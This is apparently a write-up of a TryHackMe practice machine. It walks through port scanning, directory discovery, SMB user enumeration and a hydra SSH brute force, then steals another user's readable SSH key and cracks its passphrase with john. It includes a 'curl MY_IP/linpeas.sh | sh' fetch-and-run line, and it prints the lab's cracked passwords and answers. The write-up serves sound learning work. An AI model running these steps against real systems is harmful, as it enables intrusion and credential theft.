

# Crack The Hash

Kumpel7

November 2023

Those are the task i have to do, I am using the ubuntu machine with openvpn connection to tryhackme network.

## Answer the questions below

Deploy the machine and connect to our network

No answer needed

Find the services exposed by the machine

No answer needed

What is the name of the hidden directory on the web server(enter name without /)?

Answer format: \*\*\*\*\*

User brute-forcing to find the username & password

No answer needed

What is the username?

Answer format: \*\*\*

What is the password?

Answer format: \*\*\*\*\*

What service do you use to access the server(answer in abbreviation in all caps)?

Answer format: \*\*\*

Enumerate the machine to find any vectors for privilege escalation

No answer needed

What is the name of the other user you found(all lower case)?

Answer format: \*\*\*

If you have found another user, what can you do with this information?

No answer needed

What is the final password you obtain?

Answer format: \*\*\*\*\*

We start with nmap:

```
nmap -A IP_PREY -vv
```

We can see 6 open ports:

```
Starting Nmap 7.80 ( https://nmap.org ) at 2023-11-18 22:35 CET
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 22:35
Completed NSE at 22:35, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 22:35
Completed NSE at 22:35, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 22:35
Completed NSE at 22:35, 0.00s elapsed
Initiating Ping Scan at 22:35
Scanning 10.10.97.171 [2 ports]
Completed Ping Scan at 22:35, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 22:35
Completed Parallel DNS resolution of 1 host. at 22:35, 0.01s elapsed
Initiating Connect Scan at 22:35
Scanning 10.10.97.171 [1000 ports]
Discovered open port 80/tcp on 10.10.97.171
Discovered open port 22/tcp on 10.10.97.171
Discovered open port 8080/tcp on 10.10.97.171
Discovered open port 445/tcp on 10.10.97.171
Discovered open port 139/tcp on 10.10.97.171
Discovered open port 8009/tcp on 10.10.97.171
```

We also can try to access the webpage (since port 80 is open this does not sound stupid)  
We see the following screen.



The next task is to find some hidden directories. We will use gobuster for that:

```
1 gobuster dir -u 10.10.97.171 -w dsplusleakypaths.txt
```

```
dan@kumpel:~/wordlists/subdirectories-discover$ gobuster dir -u 10.10.97.171 -w dsplusleakypaths.txt
=====
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url: http://10.10.97.171
[+] Method: GET
[+] Threads: 10
[+] Wordlist: dsplusleakypaths.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
=====
Starting gobuster in directory enumeration mode
=====
./htaccess (Status: 403) [Size: 296]
./development (Status: 301) [Size: 318] [--> http://10.10.97.171/development/]
./httpasswd (Status: 403) [Size: 296]
./httpasswds (Status: 403) [Size: 297]
./%2e/%2e/%2e/%2e/%2e/%2e/%2e/%2e/%2e/%2e/%2e/%2e/%2e/var/www/html/index.html (Status: 400) [Size: 304]
./../../../../../../../../etc/passwd (Status: 400) [Size: 304]
./htaccess (Status: 403) [Size: 296]
./httpasswd (Status: 403) [Size: 296]
/?view=log (Status: 200) [Size: 158]
/?wsdl (Status: 200) [Size: 158]
/index.html (Status: 200) [Size: 158]
/server-status (Status: 403) [Size: 300]
./static../../../../../../../../etc/passwd (Status: 400) [Size: 304]
Progress: 3521 / 3522 (99.97%)
=====
Finished
=====
dan@kumpel:~/wordlists/subdirectories-discover$
```

There are 2 files: *dev.txt* and *j.txt*. Let's check their content:

```

← → ↻ 10.10.97.171/development/j.txt

For J:

I've been auditing the contents of /etc/shadow to make sure we don't have any weak credentials,
and I was able to crack your hash really easily. You know our password policy, so please follow
it? Change that password ASAP.

-K

← → ↻ 10.10.97.171/development/dev.txt

2018-04-23: I've been messing with that struts stuff, and it's pretty cool! I think it might be neat
to host that on this server too. Haven't made any real web apps yet, but I have tried that example
you get to show off how it works (and it's the REST version of the example!). Oh, and right now I'm
using version 2.5.12, because other versions were giving me trouble. -K

2018-04-22: SMB has been configured. -K

2018-04-21: I got Apache set up. Will put in our content later. -J

```

To scan the SMB server one could use enum program. It is easy to use:

```
1 enum4linux IP_PREY
```

We get a lot of output from that, but the users are located here:

```
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\kay (Local User)
S-1-22-1-1001 Unix User\jan (Local User)
```

To guess password for ssh, we will use hydra:

```
1 hydra -l jan -P darkweb2017-top10000.txt ssh://IP_PREY
```

```

dan@kumpel:~/seclists/37/Passwords$ hydra -l jan -P darkweb2017-top10000.txt ssh://10.10.227.191
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes
y).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-11-19 12:11:05
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting,
[DATA] max 16 tasks per 1 server, overall 16 tasks, 9999 login tries (l:1/p:9999), ~625 tries per task
[DATA] attacking ssh://10.10.227.191:22/
[STATUS] 177.00 tries/min, 177 tries in 00:01h, 9823 to do in 00:56h, 16 active
[STATUS] 128.33 tries/min, 385 tries in 00:03h, 9615 to do in 01:15h, 16 active
[STATUS] 116.86 tries/min, 818 tries in 00:07h, 9183 to do in 01:19h, 16 active
[STATUS] 113.20 tries/min, 1698 tries in 00:15h, 8303 to do in 01:14h, 16 active
[22][ssh] host: 10.10.227.191 login: jan password: armando
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-11-19 12:39:28

```

In /home/kay there is pass.bak file, but we cannot access it.

What we can do is type `ls -la` to search for hidden folders, and find `.ssh` folder. Then we type `cd .ssh` and `ls -l`, and it turns out that we can not only find but also read private key of kay user.

```

jan@basic2:/home/kay/.ssh$ cd ..
jan@basic2:/home/kay$ ls -la
total 48
drwxr-xr-x 5 kay kay 4096 Apr 23 2018 .
drwxr-xr-x 4 root root 4096 Apr 19 2018 ..
-rw-r----- 1 kay kay 756 Apr 23 2018 .bash_history
-rw-r--r-- 1 kay kay 220 Apr 17 2018 .bash_logout
-rw-r--r-- 1 kay kay 3771 Apr 17 2018 .bashrc
drwx----- 2 kay kay 4096 Apr 17 2018 .cache
-rw-r----- 1 root kay 119 Apr 23 2018 .lessht
drwxrwxr-x 2 kay kay 4096 Apr 23 2018 .nano
-rw-r--r-- 1 kay kay 655 Apr 17 2018 .profile
drwxr-xr-x 2 kay kay 4096 Apr 23 2018 .ssh
-rw-r--r-- 1 kay kay 0 Apr 17 2018 .sudo_as_admin_successful
-rw-r----- 1 root kay 538 Apr 23 2018 .viminfo
-rw-r----- 1 kay kay 57 Apr 23 2018 pass.bak
jan@basic2:/home/kay$ cd .ssh
jan@basic2:/home/kay/.ssh$ ls -l
total 12
-rw-rw-r-- 1 kay kay 771 Apr 23 2018 authorized_keys
-rw-r--r-- 1 kay kay 3326 Apr 19 2018 id_rsa
-rw-r--r-- 1 kay kay 771 Apr 19 2018 id_rsa.pub
jan@basic2:/home/kay/.ssh$

```

BUT BUT BUT there exist a script that do it in an automated fashion here: <https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS>.

The machine has no internet connection, so we have to upload the script from our computer. So on our computer we type:

```
1 wget https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS
2 sudo python3 -m http.server 80
```

And on the victims computer we type:

```
1 curl MY_IP/linpeas.sh | sh
```

And the script gives A LOT of output... but it also finds hidden ssh file :D take a look:

```
-rw-r--r-- 1 root root 93 Apr 17 2018 /etc/ssh/ssh_host_ed25519_k
-rw-r--r-- 1 root root 393 Apr 17 2018 /etc/ssh/ssh_host_rsa_key.
-rw-r--r-- 1 kay kay 771 Apr 19 2018 /home/kay/.ssh/id_rsa.pub

Port 22
PermitRootLogin prohibit-password
PubkeyAuthentication yes
PermitEmptyPasswords no
ChallengeResponseAuthentication no
UsePAM yes

=> Possible private SSH keys were found!
/home/kay/.ssh/id_rsa

=> Some certificates were found (out limited):
/etc/ssl/certs/ACCVRAIZ1.pem
/etc/ssl/certs/ACEDICOM_Root.pem
/etc/ssl/certs/AC_RAIZ_FNMT-RCM.pem
/etc/ssl/certs/Actalis_Authentication_Root_CA.pem
/etc/ssl/certs/AddTrust_External_Root.pem
/etc/ssl/certs/AddTrust_Low-Value_Services_Root.pem
/etc/ssl/certs/AddTrust_Public_Services_Root.pem
/etc/ssl/certs/AddTrust_Qualified_Certificates_Root.pem
/etc/ssl/certs/ActalisTrust_Commercial.pem
```

So now we can use this private key to login as kay. We need to download the id\_rsa file or just copy it onto our computer. Then we connect using the downloaded file as a key.

```
dan@kumpel:~/temp$ ssh kay@10.10.227.191 -i id_rsa
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@          WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0664 for 'id_rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "id_rsa": bad permissions
kay@10.10.227.191's password: █
```

This is okay. What we need to do is change permissions that the private key have. Ideally only we can read and write to this file, so we need to change -rw-rw-r- into -rw-:

```
1 chmod 600 id_rsa
```

But then it turns out that this passphrase is password protected if we try to connect via ssh. To solve this problem let's use my beloved john program. It has ssh2john option, which makes finding passphrase for the rsa private key possible.

So, because I had some problems with john, I reinstalled it and use aliases in ~/.bashrc file:

```
1 alias johnny=/home/dan/src/john/run/john
2 alias ssh2john="python3 /home/dan/src/john/run/ssh2john.py"
```

so in my case I don't use john but instead i use johnny c:

Now we have to use ssh2john and then use johnny

```
1 ssh2john id_rsa > forjohnny
2 johnny forjohnny
```

And then we get the password.

```

dan@kumpel:~/temp$ johnny forjohnny
Warning: detected hash type "SSH", but the string is also recognized as "ssh-opencl"
Use the "--format=ssh-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
0g 0:00:00:00 DONE 1/3 (2023-11-19 13:57) 0g/s 140750p/s 140750c/s 140750C/s Rsaid_rsa1900..Rid1900
Proceeding with wordlist:/home/dan/src/john/run/password.lst
Enabling duplicate candidate password suppressor
beeswax (id_rsa)
1g 0:00:00:00 DONE 2/3 (2023-11-19 13:57) 1.961g/s 252601p/s 252601c/s 252601C/s 311205..100465
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

```

So now we can login as kay and end this CTF.

```

dan@kumpel:~/temp$ ssh kay@10.10.227.191 -i id_rsa
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.

Last login: Mon Apr 23 16:04:07 2018 from 192.168.56.102
kay@basic2:~$ ls
pass.bak
kay@basic2:~$ cat pass.bak
heresareallystrongpasswordthatfollowsthepasswordpolicy$$
kay@basic2:~$

```